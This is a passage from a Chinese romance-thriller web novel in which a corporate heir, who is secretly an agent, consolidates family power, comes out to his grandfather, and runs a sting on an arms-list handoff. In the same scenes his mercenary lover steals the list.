他以“配合相关部门深入调查”为名,对顾砚川及其核心亲信所掌控的所有业务,项目及关联子公司,启动了财务合规审计。 即使天和集团的股价也受其影响。 顾鸣鹤精准地利用审计中暴露出的问题,展开名正言顺的人事清洗。 所有顾砚川安插在关键岗位上的亲信,无一幸免。 或明升暗降,调任虚职,或直接解除雇佣关系。 尘埃落定之时,顾砚川曾苦心经营,视为私产的那些顾家海外核心业务与重要子公司,其权柄已被顾鸣鹤全数接管。 所有要害部门,均已换成了顾鸣鹤的人。 顾老爷子年事已高,惊闻顾砚川之事又急火攻心,生了一场大病,一度让顾家陷入群龙无首的混乱边缘。 若非顾鸣鹤以雷霆手段迅速接管全局,稳定局面,偌大的顾家恐已乱成一锅沸粥。 经此之后,顾鸣鹤将顾砚川在顾家内部盘根错节的残余势力连根拔起。 甚至以无可争议的铁腕,将整个顾家的命脉牢牢攥在了自己掌心。 私人医院VIP病房。 顾鸣鹤坐在一旁的椅子边,低头削着苹果。 “鸣鹤。”病床上躺着的是顾鸣鹤的爷爷,顾立松。 “最近公司还好吧?” 顾鸣鹤抬头,手中削苹果的动作依旧没有停。 一边削苹果一边回答道:“嗯,股价已经回升,没有损失,反而上涨了不少。” “二叔那边的业务我也已经接手,目前稳定下来了。” 顾立松闻言连连点头:“好,做的不错。” 这个已经七旬的老人曾经也是在商界说一不二的狠角色。 尽管如今老了,但那双眼睛依旧锐利。 “你二叔......” 顾鸣鹤知道顾老爷子的意思:“他涉嫌犯罪,名下资产与国外犯罪集团有勾结,救不了了。” “就算不是死罪,也要在里面待一辈子。” 顾老爷子年纪大了,脑子没有以前那么灵光,也不是年轻时那般心狠手辣。 反而越到他这个年纪,越加渴望亲情。 只是自己的大儿子不争气,二儿子如今又锒铛入狱。 其他的几个虽不至于不成器,但也被自己这个长孙压得死死的。 “鸣鹤,他毕竟是你二叔,你,你多少.......” “爷爷。”顾鸣鹤放下水果刀,将削干净的苹果放在自己嘴边咬了一口。 “爷爷,我只是个商人,能力有限,这些事轮不到我们管。” 说这些话的时候,他的神色永远是冷淡的。 看不到一丝对家人的温情。 顾鸣鹤对顾老爷子是敬重的,是对长辈的那种敬畏和感激。 顾老爷子对他的确不错,但是也仅限于此。 毕竟顾家家大业大,顾老爷子不只是培养了他。 还有他的几个叔叔和堂兄弟。 顾鸣鹤先前之所以会跟顾砚川明争暗斗这么久,少不得顾老爷子的推波助澜。 就像养蛊一样,谁赢了谁继承顾家。 就是那么简单。 第82章 顾老爷子 病房里弥漫着消毒水的气味,阳光透过百叶窗,在地板上切割出明暗相间的条纹。 顾鸣鹤曾在这位威严慈爱的祖父膝下长大,得到的疼爱是沉重的课业,严苛的礼仪和被规划好的人生蓝图。 那些寻常少年的嬉笑怒骂与恣意轻狂,于他而言,都是被剥夺的奢侈品。 老爷子疼他,却也亲手为他套上了名为继承人的枷锁。 甚至在觉察到他羽翼渐丰时,将顾家的权柄分予二叔及其他几位叔叔,只为确保他永远无法真正脱离掌控。 如今,顾砚川已除,那些被分出去的权柄,早已被顾鸣鹤不动声色地回来。 他坐在病床边的椅子上,姿态松弛。 病房内一片沉寂,只有他慢条斯理啃咬苹果时发出的清脆声响,在这过分的安静里显得格外清晰。 顾老爷子的目光落在他手中的苹果上,带着一丝探究。 或许是对孙子此刻这份从容的惊异。 “你长大了。”老爷子终于开口,声音带着病后的沙哑, 顾鸣鹤抬眼,唇角勾起一个极淡的弧度,几乎算不上是笑:“爷爷说笑了。” 他咽下口中的果肉,语气平和。 老爷子沉默片刻,像是在积攒力气,也像是在权衡措辞。 “你还记得何家吗?” “嗯,记得。怎么了?” “何老爷子生前与我有恩.......”老爷子缓缓道。 “他还有个孙女,叫何静好,和你年纪相仿。你也到了该考虑婚配的时候了。” 顾鸣鹤的动作没有丝毫停顿。 他咬下最后一口果肉,隔着数米远,“咚”地一声把果核扔进角落的垃圾桶。 他拿起一旁的餐巾纸,慢悠悠地擦拭着手指。 “不需要。”他的拒绝简洁明了。 老爷子眉头微蹙:“先处处,又没说一定要选她。毕竟我们顾家也不是普通的高门,自然是要精挑细选的。” 顾鸣鹤将擦净的纸巾握在手中,身子微微后靠,目光坦然地迎上病床上那双曾让他敬畏,也让他压抑的眼睛。 “爷爷,”他的声音依然平静,甚至带着一丝奇异的温和。 “您误会了,我对女人不感兴趣。” 顾老爷子脸上的皱纹瞬间绷紧,对这个答案他或许有所预料,但他没料到的是孙子此刻的姿态。 他强撑着试图找回场子,声音提高了几分:“你现在还年轻,等你碰到真正喜欢的.......” 顾鸣鹤轻轻摇了摇头,打断了他。 他看着祖父瞬间苍老了许多的面容,看着他因激动而抬起,颤巍巍指向自己的手。 这双手,曾轻易决定他的一切,如今却连指向他的力量都显得虚浮。 “爷爷,我的意思是,我喜欢的是男人。” “你.....你......!!”顾老爷子猛地坐直了身子,手指剧烈地颤抖着,眼睛瞪得极大。 是眼睛里面充满了震惊和被忤逆的愤怒。 他想斥责,想怒骂,想用家规祖训压服这个突然变得陌生而强大的孙子。 却发现所有的言语都在对方那平静无波的目光下显得苍白无力。 他剧烈地咳嗽起来,仿佛要把心肺都咳出来。 顾鸣鹤站起身,走到床头,动作自然地替老爷子顺了顺气,递过一杯温水。 “所以爷爷,您真的,不必再为我的婚事多费力气了。顾家的事,您也安心静养,不必再过多操劳了。” “鸣鹤,你真是长大了。” 顾老爷的目光落在顾鸣鹤脸上,最终长长的叹了一口气。 顾鸣鹤没有回应。他只是静静的站在床边,颀长的身影被光线拉长。 老爷子将水杯搁在一旁。 “当时我听说你养了个小情人......呵,还真没当回事。怎么?你喜欢他?” 顾鸣鹤对顾老爷子调查时清徵并不意外。 顾鸣鹤没有立刻回答,而是走回病床边的椅子,重新坐下。 “对。” 他淡然承认。 顾老爷子眼中闪过一丝厉色,随即被更深的算计取代:“一个毫无背景的人,除了一张脸,一无是处。对你的事业,他能起什么作用?” “更何况他还是在东南群岛那么混乱的地方长大,谁知道心中藏了多少龌龊心思。” 顾鸣鹤的嘴角带着一丝嘲讽。 调查?多么熟悉的戏码。 从十岁起,他的人生就像一本摊开的书,毫无隐私地暴露在老爷子的眼线之下。 他的喜好,行踪,以及每一次微小的反抗,都被监视着。 这种无处不在的监控,直到他进入第七局的几年后才被彻底斩断。 “你不可能跟他在一起很久的。” 顾老爷子放缓了语气,带上一种疲惫和退让,试图打亲情牌。 “爷爷老了,也不想当那个坏人,省得你与我离心。” 顾鸣鹤依旧沉默。 他已不是那个需要仰仗祖父鼻息的少年了。 他亲手除掉了二叔,将那些被老爷子刻意分出去的权力一一收回。 顾家的未来,只在他顾鸣鹤的股掌之间。 老爷子的心无论是靠近还是疏远,对现在的他而言都再无意义。 看着顾鸣鹤毫无反应的脸,老爷子误以为自己的话戳中了要害。 他疲惫地闭上眼,声音低沉,带着一种预言般的笃定: “但是迟早有一天,你会后悔今天说过的话。” 顾鸣鹤的目光掠过老爷子紧闭的双眼,心中没有任何波澜。 他的心意,无需向除了时清徵以外的任何人解释。 “爷爷,公司还有些事情要我处理,您休息吧,我改日再来看您。” 说完,顾鸣鹤直接转身走出病房。 病房门外站着几个保镖,有一个保镖从外面匆匆走过来,正打算敲门,看见顾鸣鹤从里面走出来还愣了一下。 “顾总。” 顾鸣鹤微微点头:“老爷子在休息,你有什么事吗?” “额.....顾爷和顾夫人来了,正在外面,说是要见老爷子。” 这个VIP病房外面都有很多保镖守着,哪怕是顾老爷子的亲生儿子竟然也是要经过同意的。 顾鸣鹤走出去后,看见了站在外面的顾砚山以及他的母亲白容婉。 第83章 白容婉 两个人站的有一些距离,若是不认识的肯定不会把他们当成夫妻。 毕竟两人之间的疏离感简直如有实质。 顾鸣鹤朝着白容婉走了过去。 “妈。” 白容婉显然也没料到顾鸣鹤会出现在这儿。 “鸣鹤,你怎么在这?” “我来看看爷爷。” 两人交谈,把一旁的顾砚山忽略的彻彻底底。 闻言顾砚山嗤笑一声:“假惺惺。” 白容婉一个眼刀扫了过去,却并没有多说什么。 “你这是要走?”这话是对顾鸣鹤说的。 “对,公司还有些事。” “那你先去忙吧。” 顾鸣鹤点头后便离开了。 从头到尾,顾鸣鹤就没有给顾砚山一个眼神。 顾砚山死死盯着顾鸣鹤挺拔且渐行渐远的背影,几乎要咬碎后槽牙。 作为顾家的长子,他理所当然地认为,顾家庞大的产业帝国最终将毫无悬念地落入自己手中。 然而,顾老爷子竟然完全无视他这个亲生儿子,直接越过他,将家族最核心的资产天和集团交到了顾鸣鹤的手里。 这份被彻底忽视和剥夺的耻辱,成了扎在他心中的一根刺。 白容婉,顾砚山的妻子,也是顾鸣鹤的生母。 她对顾砚山这个人充满了难以言说的厌恶。 他们的婚姻不过是家族联姻的冰冷产物,毫无温情可言。 但血脉相连,她对唯一的儿子顾鸣鹤,始终怀有一份割舍不下的关切。 只是这份母爱,在顾家森严的规矩面前显得苍白无力。 在顾鸣鹤年纪尚幼时,顾老爷子便以“亲自培养继承人”为由,将他从父母身边带走,接回老宅抚养。 自那以后,除了每月一次的家族聚会,其余时候白容婉想见儿子一面都难如登天。 她本人并非绝色倾城,但容貌温婉秀丽,气质端庄,更难得的是拥有极高的学历和见识,本应是良配。 可惜,当时的顾砚山流连于外面的温柔乡,不知道是不是被鬼迷心窍了,对妻子极其厌恶。 或者说他只是单纯憎恨顾家为他安排好的一切。 但是他又没有反抗家族的能力,只能通过这种方式来表达不满。 顾鸣鹤后来能够进入第七局,很大程度上要归功于母亲白容婉在暗中的推波助澜。 第七局的局长林霄汉,恰是白容婉的故友。 正是凭借着这层关系,顾鸣鹤才有了进第七局参与考验的机会。 这几乎是白容婉能为儿子争取自由所做的最大努力。 反观顾砚山,作为顾鸣鹤的生父,他既没有继承到顾老爷子运筹帷幄的能力,也缺乏一个家族掌舵者应有的担当。 他能力平庸,耽于享乐,整日流连于酒色之中,将精力消耗在无谓的消遣上。 这样的长子与顾老爷子期待的继承人形象相去甚远。 也彻底辜负了“长子”这个的身份。 顾鸣鹤没有立即上车,而是靠在车边点了一根烟。 烟雾缓缓升起,然后纠缠在一起,就像那理不清的思绪。 司机也不敢催,只能坐在车里,通过后视镜悄眯看着顾鸣鹤。 顾鸣鹤并没有选择把这支烟抽完,而是在抽到一半的时候直接伸手掐灭。 坐进车里后,对司机说。 “回晋园。” 刚才说公司事忙,不过是拿出来糊弄顾老爷子的由头罢了。 都下班了,谁还回去加班啊。 ———— 时清徵的电脑被管家从半山庄园送了过来。 此时时清徵正对着黑屏的电脑发呆。 芯片就放在电脑键盘上。 照顾砚川的话来说,这枚芯片里面的资料就是他想要的实验数据。 有了完整的实验数据,盟洲那边的研究所很快就能研究出治疗神经毒素的方法。 即使没有完整的实验数据,有其中一份也能让研究所那边的进程快一些。 现在他只要把这个芯片带去东南群岛的分部,然后把提取的信息交给盟洲的研究所就好了。 顺道还可以去哪解决一些事情。 时清徵托着下巴思索着。 平时感觉没事儿干,实际上是该干的事儿都没干。 这么一想起来,他答应昏鸦三个月内把排名刷回前五,如今还一个任务都没接。 嘶—— 青鸟那边让他追的核心资料他也还没去追。 嘶—— 时清徵忽然有点儿坐不住了。 现在那个研究团队的核心资料应该是还在东南群岛。 因为海关那边有他的人,如果资料出现在海关,他这边一定会收到消息。 所以时清徵可以断定那群人带着核心资料,不知道窝到哪个犄角旮旯里去了。 如此一想,时清徵又心安理得地坐了回去。 哎,资料的下落都还没找到呢,他着急也没用啊。 时清徵虽然不清楚那份研究资料具体涉及什么项目,但他推测很可能与中小型武装装备的研发有关。 毕竟,碎洲那地方资源匮乏,唯独不缺的就是冲突与争端。 而持续的动荡,恰恰意味着一个庞大且迫切的需求市场。 地如其名,那儿已经碎成一锅粥了。 FK集团打算趁热喝,于是选择在那里建立多个研究基地,针对的正是这类中小型武器的研发项目。 时清徵把芯片拿在手中把玩着。 谁能想得到这东西这么轻易就落到他手里了呢。 原本他以为还会花一些功夫。 结果就这? 轻轻松松。 时清徵想起那晚他去顾砚川家中“做客”时碰到的那个男人。 顾砚川在那晚时候就被抓走了,到现在也不知道关押在何处。 是官方的哪个部门出手整治的? 那个男人应该就是那个部门的人。 像这种执行国际任务的官方部门,时清徵能想到两个。 一个是A国的特情处,一个是第七局。 时清徵回想起那个男人的眼睛,手指轻轻在腿上敲了一下。 有些眼熟啊,总感觉在哪里见过。 哪里呢? 时清徵伸出手,食指和中指分开,对着门口,回想之前那个男人的眼睛。 结果门忽然被推开。 顾鸣鹤走了进来。 那双眼睛就猝不及防地出现在时清徵的两指之间。 顾鸣鹤与时清徵的目光通过两指间的缝隙对视上了。 此时顾鸣鹤的眼中带着不太明显的冰凉,只是很快又被温情压了回去。 似乎那一刹冷漠疲惫只是幻觉。 时清徵先是愣了一下,想问他怎么了。 但就是这时心念一动,他想到之前跟顾鸣鹤去那个酒庄时碰到的一个人。 随后唇角扬起。 他好像知道那个人是谁了。 第84章 狐狸尾巴漏出来了 顾鸣鹤见时清徵笑了,那双桃花眸中笑意泛起。 时清徵原本分心想着想着那个人眼睛的事,这下直接被顾鸣鹤的眼眸勾回来神。 “先生,你回来了?” 时清徵放下手,心情很好的样子。 “怎么这么开心?” 顾鸣鹤一边解着衬衫袖扣,一边往往时清徵这边走。 “没什么,想到了一个好玩的。” 时清徵站起身,迎了过去。 “先生让我来。” 他伸出手去帮顾鸣鹤解袖扣,然后把袖扣握在手心里。 这枚袖扣也是他今早替顾鸣鹤亲自搭的。 顾鸣鹤最近也不知道养成了什么毛病,每次挑领带和腕表的时候都要询问他的意见。 可时清徵却也乐在其中。 感觉过了一把换装游戏的瘾。 顾鸣鹤将袖口一层层翻折上去,问道:“什么好玩的?” 时清徵唇角一勾,眼睛弯成了月牙儿:“就是看见狐狸尾巴露出来了。” 据说宋燕回一直在国外学艺术?这身份听着就够风雅的。 可前些天在书房的那几下子,干净利落,反应迅速,哪里像个拿画笔的?分明是受过严格训练的好手。 他这摇身一变,成了官方的人?这戏法变得可够精彩的。 时清徵想着,笑意更深。 这不就是明晃晃的破绽,自己把尾巴露出来给人瞧了么? 一想通这个,其他的时清徵也想通了。 宋燕回只可能是第七局的人,因为特情处的特工都是有正式编制的。 而第七局不一样,第七局里面的特工明面上都是有隐藏身份的。 看来抓顾砚川的官方部门是那个神秘的第七局啊。 难怪自己这边查不到一点消息。 顾鸣鹤看着他笑得一脸高深莫测,微微蹙眉,摇了摇头表示不知道:“什么尾巴?什么意思?” 时清徵见状,神秘兮兮地竖起一根手指抵在唇边:“不可说。” 顾鸣鹤没在意他那点小秘密,转而提议道:“明天正好有空,想不想去打台球?” “不会。” 时清徵答得干脆。 “我教你。” 顾鸣鹤的声音带着点温和。 前些日子,他被公司事务缠得脱不开身,几乎夜夜加班。 如今好不容易尘埃落定,得了空闲,他头一个念头,便是要将那些错过的相处时光,好好补回来。 “好啊。” 次日正好是周末,两人一起去了俱乐部。 这家俱乐部是顾鸣鹤的私人产业,所以他在这里有一个专属包厢。 这个包厢不对外人开放,而顾鸣鹤又很久没有来这里了。 所以当二人走进去时,包厢内有些沉闷。 可能是没有及时通风的原因。 一旁陪着二人走过来的经理也感受到屋里的空气不流通,神情变得有些惶恐。 “抱歉顾总,我这边的人没有及时做好通风,如果可以,还有另外一个包间。” “不用了。” 顾鸣鹤抬脚走到窗边,打开了窗户。 经理的神情依旧不是很轻松,最后在顾鸣鹤的示意下退了出去。 包厢很大,除了最中间放着台球桌,最右边是休息区。 装饰也很奢华,就算是角落里随便摆着的古董瓶也是价值几十万的真品。 顾鸣鹤从一旁拿起一根台球杆,然后用蓝色巧克粉在皮头处慢条斯理地打磨。 时清徵靠在台球桌边,目光一直放在顾鸣鹤的身上。 他先前对顾鸣鹤说不会打台球并不是托词或者谦虚,而是事实。 毕竟在他的多项技能里,娱乐活动一般都排不上号。 就算他对这些感兴趣,也没什么时间去学习。 但是台球的基本规则他还是了解的。 看着顾鸣鹤俯身亲自摆球的背影,时清徵放在桌沿的手微微动了动。 “过来。”顾鸣鹤直起身,朝时清徵招了招手。 时清徵刚走近,那根擦好巧克粉的台球杆就被放到了他的手中。 他还没来得及调整握姿,顾鸣鹤就凑了过来。 温热的胸膛贴着他的后背,双手覆在他的手背上,调整握杆的角度。 “像这样.....拇指扣住杆尾。” 顾鸣鹤身上今天穿的是和时清徵同系列的休闲装。 在他靠在时清徵耳边讲话时,时清徵能闻到他身上的淡淡檀香。 时清徵有些走神了。 “盯着主球与目标球之间的连线......” 一杆打出,目标球进袋。 “会了吗?” “嗯,我想试试。” 台球其实就是对控球,节奏还有心态的考验。 瞄准的精度和力度很重要。 这些都需要多次联系。 但时清徵上手却很快,因为专业的原因,所以他的手很稳,不会出现手抖的现象。 此外他的空间预判能力十分的强,每次出杆,时清徵的心态都很稳。 顾鸣鹤站在一旁观察时清徵的动作。 他能很明显的感受到时清徵身上散发出的冷静。 虽然时清徵对杆法的掌握几乎是一片空白,但时清徵出杆利落,哪怕不能进袋也只是擦边而过。 要不是顾鸣鹤看时清徵的出杆手法着实是小白,一定会怀疑时清徵在扮猪吃老虎。 目前的时清徵就像是一个开了外挂的新手,虽然对母球位置时常会有些凌乱。 不过对于新手而言,能打出这样的成绩已经很不错了。 顾鸣鹤笑了笑:“宝贝儿,你这样都让我怀疑你以前学过。” 时清徵出杆,目标球没有进袋,堪堪擦过边,又撞了回去。 “没实践过。”时清徵很实诚地回答。 面前这一桌台球的布局很是混乱,母球的位置极难处理。 时清徵站起身,把球杆递到了顾鸣鹤的手中。 十分理直气壮道:“先生帮我。” 顾鸣鹤见他这副模样,忍不住笑着答应:“好。” 顾鸣鹤出杆手法明显就比时清徵的小白出杆好上不止一星半点。 他对球路的把控很是精准,利用杆法破解了母球的困境。 时清徵感叹道:“先生真厉害。” 台球桌上的球已经被清空,顾鸣鹤将球杆放到桌面上。 “熟能生巧罢了,你多练练肯定比我厉害。” 时清徵:“先生真会夸人。” 顾鸣鹤:“实话实说。” 第85章 你欠我一个礼物 在朝夕相对的这些日子里,顾鸣鹤早已将时清徵身上那份不同寻常的特质尽收眼底。 那并非刻意为之的做派,而是刻在骨子里的东西。 某些电光火石间,连本人或许都未曾察觉时迸发出的掌控力。 就像方才在球桌上。 时清徵持杆的姿势确实带着生涩,可当他俯身,凝眸,引动球杆的刹那,那份对力道的精微把控,对角度近乎本能的预判,绝非普通人一朝一夕能企及。 这需要时间,需要锤炼。 就像经年习舞之人,哪怕静立,其体态和其肌肉线条的走向,都与常人有着云泥之别。 那是千锤百炼后融入骨髓的韵律。 顾鸣鹤几乎能断定,时清徵接受过极其严苛,极其专业的训练,且远不止一次。 但他并不愿深究。 能从东南群岛那片吃人不吐骨头的修罗场里安然脱身,本身就意味着一些不言而喻的本事。 那本事,或许是刀尖舔血的机敏,或许是翻云覆雨的手腕,又或许是......更不可言说的东西。 能站在这里,站在他顾鸣鹤的面前,这本身就足够了。 至于其他的,他选择视而不见。 有些线,不必画得太清,有些底,不必探得太深。 他只需要知道,眼前这个人,此刻是站在他这一边的。 这就够了。 其余的,他宁愿把某些猜想深埋进内心深处。 顾鸣鹤陪时清徵在这练了几个小时的球,时清徵的进步是肉眼可见的。 “我家时小徵真厉害,不过还得是我这个老师教得好。”顾鸣鹤腆着一张脸道。 “时小徵你说是不是啊?” 时清徵点了点头。 顾鸣鹤笑意更甚了,一副计谋得逞的模样:“那有没有什么奖励啊?” 时清徵垂眸思考了片刻。 “我送先生一个礼物?” “送什么?” “嗯......我还没想好,以后再给行吗?” 顾鸣鹤:....... “行,不过你得记住,你欠我一个礼物。” 时清徵做了个OK的手势。 二人出了俱乐部,对面就是一家火锅店。 时清徵眼睛亮了下:“不如先生我请你吃一顿火锅吧?” 顾鸣鹤冷哼一声:“敷衍。” 时清徵:“.......” 但最终在时清徵的保证会给礼物的前提下,两人还是走进了火锅店。 这家火锅店的环境很不错,只可惜没有包厢了。 时清徵看了顾鸣鹤一眼:“要不我们换一家。” 顾鸣鹤:“不用。” 说着就在一处靠窗的地方坐了下来。 他并不是一个洁癖很严重的人,平时还是比较随性的,所以在大厅吃并不是不可以接受。 两个人都是不太能吃辣的,但秉持着火锅不辣,没有灵魂的原则,还是选择头铁点了鸳鸯锅。 锅底沸腾,红白分明。 在两人不信邪的试探下,顾鸣鹤默默放下了筷子,端起旁边的水喝了好几口。 时清徵哈着气,感觉舌头都不是自己的了。 红油火锅VS时清徵?顾鸣鹤。 红油火锅完胜。 走出火锅店的时候,时清徵的嘴唇还是微微肿起的。 ———— 宋燕回那边的情报组查了几天也没有查到当天偷袭顾砚川书房的杀手身份。 “查不到了,而且有这时间那个杀手早就跑到地球另一面去了。” 宋燕回:“算了,不用查了。” 总之也没有什么损失,没必要再花力气。 先前拿去检测的中性笔上也没有发现指纹的痕迹。 可见那人行事非常的小心。 这么多天过去了,要想再调查难如登天。 这个人就怕是走,也已经走出京城了。 然而此时,依旧留在京城的时清徵收到了一条消息。是昏鸦发来的,一张图片和一份人物背景资料。 【昏鸦:这人现在在京城,帮我把他手里准备交易的资料截下来。】 【万岁:谁啊?】 【昏鸦:FK的叛徒,手里有份FK的军火销售名单。】 【万岁:算绩效吗?】 【昏鸦:.......算。】 【万岁:人要处理吗?干掉能不能多加点绩效?】 【昏鸦:.......不另外加绩效。不过这人前两天刚被我们挂上通缉榜,杀了能加积分。】 【昏鸦:有内部人员加成,我私下给你多提一成赏金】 【万岁:你有这么好?不会有什么阴谋吧?】 时清徵手指悬在屏幕上,满心狐疑。以他对昏鸦的了解,这人可从来没这么大方过。 【昏鸦:嗯,之前和他约好交易的,是幽灵组织在A国的分部管理人员。】 看到这条消息,时清徵指尖一顿,随即了然。 呵,这FK的叛徒恐怕还不知道,自从顾砚川落网,幽灵组织在A国的分部早就被第七局收拾得七零八落。 现在但凡跟顾砚川沾点边的人,都在第七局的眼皮子底下被盯得死死的。 这家伙揣着FK的烫手名单一头撞进A国,简直是自己往第七局的枪口上送。 难怪昏鸦这么大方。 第七局现在肯定正严密监控着所有可能与幽灵组织残余势力接触的目标。 他们巴不得有人来交易这份名单,好顺藤摸瓜揪出顾砚川背后更深藏的线。 FK这边自然也不可能放过这个叛徒和名单。 但问题是,一旦FK的人现身去追捕或交易,极有可能一头撞进第七局布下的网中。 结果不仅拿不回名单,反而把自己暴露在官方视野里。 所以时清徵现在去截胡,风险极高: 第一种情况,第七局的情报网暂时漏掉了这条小鱼,他可以悄无声息地拿走资料,解决叛徒,轻松拿绩效和赏金。 第二种情况就比较要命了。 第七局很可能已经张网以待,就等着幽灵买家上钩。 他这时候掺一脚,无异于主动跳进第七局的视线,引火烧身。 【万岁:这事怪吓人的,能推了不?】 【昏鸦:怎么,你不行?】 【万岁:我跟你讲,激将法对我没用。】 另一边的昏鸦哼笑一声,看出了时清徵的小算盘。 【昏鸦:事成之后三成奖金。】 【万岁:OK,交易地点发我。】 【昏鸦:上井酒吧。】 时清徵笑眯眯打字。 收到。 第86章 目标人物身上有枪 接下任务后,时清徵站起身揉了揉脖子。 就在这时,手机提示音响起。 【顾鸣鹤:今晚有应酬。亲亲jpg.】 时清徵盯着屏幕,嘴角忍不住抽了一下。 说好的总裁日理万机却游刃有余呢?怎么到他家这位这儿,就只剩下加班和应酬了? 一天到晚不是在公司就是在外头应酬,连轴转得像个陀螺。 不过时清徵转念一想,自己今晚也有任务要办,倒省得编借口出去了。 【你洗了蒜了:好的呢~】 顾鸣鹤看着手机屏幕上那边发过来的小波浪号,嘴角根本下不来。 他家时小徵真可爱。 坐在他对面的人忍不住开口: “喂喂——队长,咱们能不能先谈正事?” 说话的人是郑家言,此时的他板着一张苦瓜脸,露出谴责的神情。 然后低头—— “吸溜吸溜——” 顾鸣鹤把手机小心地放在一边,脸上的笑意收敛了些:“嗯,那你先把自己嘴里的黑不拉几的玩意咽下去再说。” 郑家言用力嚼着自己口中的珍珠,喉结滚动了一下,艰难咽下。 “队长,这不叫黑了吧唧的玩意,人家叫珍珠。” “我管你叫珍珠还是假珠,你再来我办公室喝这玩意我就把你丢出去。”顾鸣鹤语气平淡,不像是在开玩笑的样子。 郑家言瞪大了眼睛:“队长,你看不起奶茶?堂堂天和集团还搞歧视吗?”他试图用夸张的集团名誉问题转移话题。 顾鸣鹤没接他这顶大帽子:“郑家言,你再废话一句,下个月奖金扣掉。” 没错,顾鸣鹤不仅是郑家言在第一行动队的队长,还是他明面工作上的直属上级。 郑家言今天是打着汇报子公司工作的幌子过来的。 因为他目前在顾鸣鹤旗下某个负责特定领域业务的子公司挂了个副总的职衔。 听到这话,郑家言瞬间蔫了,默默把还剩大半杯的奶茶放到脚边的地上,规规矩矩坐好。 腰背挺得笔直,脸上那副生无可恋的表情收了起来,换上了一种更接近工作状态的专注。 “顾鸣鹤身体微微前倾,双手交叉放在桌面上:“说正事。鱼饵那边,最新的动向确认了吗?” 郑家言立刻进入状态,刚才的嬉皮笑脸消失无踪,眼神认真:“确认了。目标按照我们放出的安全路线,刚刚抵达预定酒店。 他自以为甩掉了所有尾巴,正等着买家联系。” 他口中的“鱼饵”和“买家”,自然指的就是那个带着FK名单的叛徒以及幽灵组织残余可能派出的交易者。 顾砚川背后的线不是一两天就能清理干净的,哪怕是有所准备,还是会难免有一些漏网之鱼。 而FK内部叛徒手中的那份名单是幽灵组织的人一定要拿到的。 所以到时候幽灵组织残余一定会派出交易者。 “嗯。”顾鸣鹤微微颔首,对这个进展并不意外。 “网都布置好了?” 郑家言语气笃定:“他们交易的酒吧内外,所有出入口,通道,监控死角,都有我们的人。 技术组全程监控目标的通讯设备,信号屏蔽器也准备好了,只等买家出现,然后随时切断他与外界联系。 附近街区也已经做了交通管制预案。” 之所以能进展的这么顺利,还要多亏了顾鸣鹤。 毕竟上井酒吧还有那个人住的酒店都是顾鸣鹤名下的资产。 “很好。”顾鸣鹤的指尖在桌面上轻轻点了点。 “我们的第一目标是买家,以及通过他可能牵扯出的幽灵残余脉络。 那份名单是引蛇出洞的关键,但本身不是首要目标。” 郑家言突然想到了一个问题:“这个名单原本是属于FK的,既然那么重要,FK那边会不会也派人来?” 顾鸣鹤冷声道:“FK的人如果出现......按预案处理,尽量活捉,他们不敢派太多人过来的。” “明白。”郑家言点头。 顾鸣鹤的目光扫过腕表:“交易时间定在今晚十点,地点就在上井会所,为了防止他们临时变更,派人从酒店跟着他。” 郑家言:“好,我等会安排。” “幽灵的人向来狡猾,不排除他们临时改变计划或者启用备用方案。 通知各组负责人,提前两小时进入最终待命状态。” “是。” 顾鸣鹤看着郑家言:“你盯紧技术监控和外围布控,我亲自带人进入上井会所。” “是,队长。那我先去现场指挥点再确认一遍细节。” 顾鸣鹤摆摆手:“去吧。记住,今晚的目标,一个都不能放跑。” 郑家言弯腰拿起地上的奶茶,快步离开了办公室。 ———— 是夜,单西路霓虹闪烁,两侧建筑奢华,一片灯红酒绿。 上井酒吧就坐落在这条喧嚣街道的一侧。 酒吧二楼,一间普通的VIP包厢内。 顾鸣鹤坐在沙发上,他所在的包厢隔壁正是FK叛徒与幽灵组织约定交易的地点。 “队长,鱼已入池。” 耳麦里传来简洁的确认声。 “按预定方案行动,各组保持静默。” 顾鸣鹤的声音平稳地下达了指令。 包厢内除了他,还有几名身着便装的第七局特工,分散地站在角落或窗边,各自监控着关键方向。 包厢中央的茶几上没有酒水,只放置着一台电脑。 屏幕上分别显示着多个画面,既有隔壁包厢的实时影像,也有酒吧入口,走廊以及外围街道的监控。 此刻,隔壁包厢的画面占据了主屏。 门被推开,几个面容普通,神态自然的男人鱼贯而入。 紧接着,电脑连接的监听设备传来混杂的声响。 寒暄后落座,然后点单,开瓶倒酒。甚至还有人开始调试麦克风准备唱歌的噪音。 一切看起来都和普通客人寻欢作乐毫无二致。 顾鸣鹤的目光在监控画面中几人身上迅速扫过。 耳麦中再次响起声音,是郑家言在远端指挥车里的汇报: “队长,目标人物已抵达街口,正向酒吧移动,预计两分钟后进入。” 顾鸣鹤:“让有关部门配合驱散周边群众,幽灵组织的目标人物身上有枪。” 第87章 他的速度非常快 郑家言眼神一凛,立刻应道:“明白,马上安排人群疏散。” 就在郑家言下达疏散指令的同时,目标人物已经快步走到了酒吧大门口,神情紧张地左右张望。 几乎是同一时间。 另一个方向的阴影里,一个戴着的鸭舌帽和黑色口罩的男人出现。 他步履匆匆,似乎完全没看路,低着头直直地朝着目标人物撞了过去。 两人肩膀结结实实地撞了一下。 目标人物被撞得一个趔趄,侧退了一步才站稳,脸上瞬间浮现出惊怒。 “啧,不好意思。” 鸭舌帽男人声音低沉含糊,带着一丝不易察觉的敷衍,同时伸手似乎想扶他一下。 目标人物根本没心思听道歉,他像被吓到了一般,惊疑不定地盯着对方帽檐下的阴影看了一眼。 然后几乎是本能地迅速抬手摸向自己的外套口袋。 指尖触碰到口袋里那个熟悉的硬物轮廓,目标人物肉眼可见地松弛下来,舒了一口气。 他不再理会鸭舌帽男,转身走进了酒吧大门。 就在目标转身的瞬间,鸭舌帽男人抬手扶正被撞歪的帽檐。 他的手指在帽檐边缘极其短暂地停顿了一下,随即放下手,仿佛什么都没发生,继续沿着原来的方向走。 背影迅速融入了街边的人流。 “跟上那个鸭舌帽。” 郑家言在指挥频道里低声吩咐道。 刚才那看似偶然的碰撞让他心头警铃大作。 暗处的特工立刻分出一组,悄无声息地尾随上去。 时清徵在单西路复杂的小巷中七拐八绕。 最后在一个僻静的转角处,他停下脚步,摘下了帽子和口罩,露出那张俊逸却带着点漫不经心的脸。 他随手掏出那个刚从目标人物口袋里顺出来的U盘,随意地抛接了几下。 “啧,暗处的眼睛真特么多。” 时清徵低声吐槽。 幸好他动作快,不然等那家伙进了会所,想再拿到东西就难了。 时清徵不再停留,身影一闪,便彻底消失在巷子深处,仿佛从未出现过。 追踪的特工在小巷里转了几圈,彻底失去了目标踪迹。 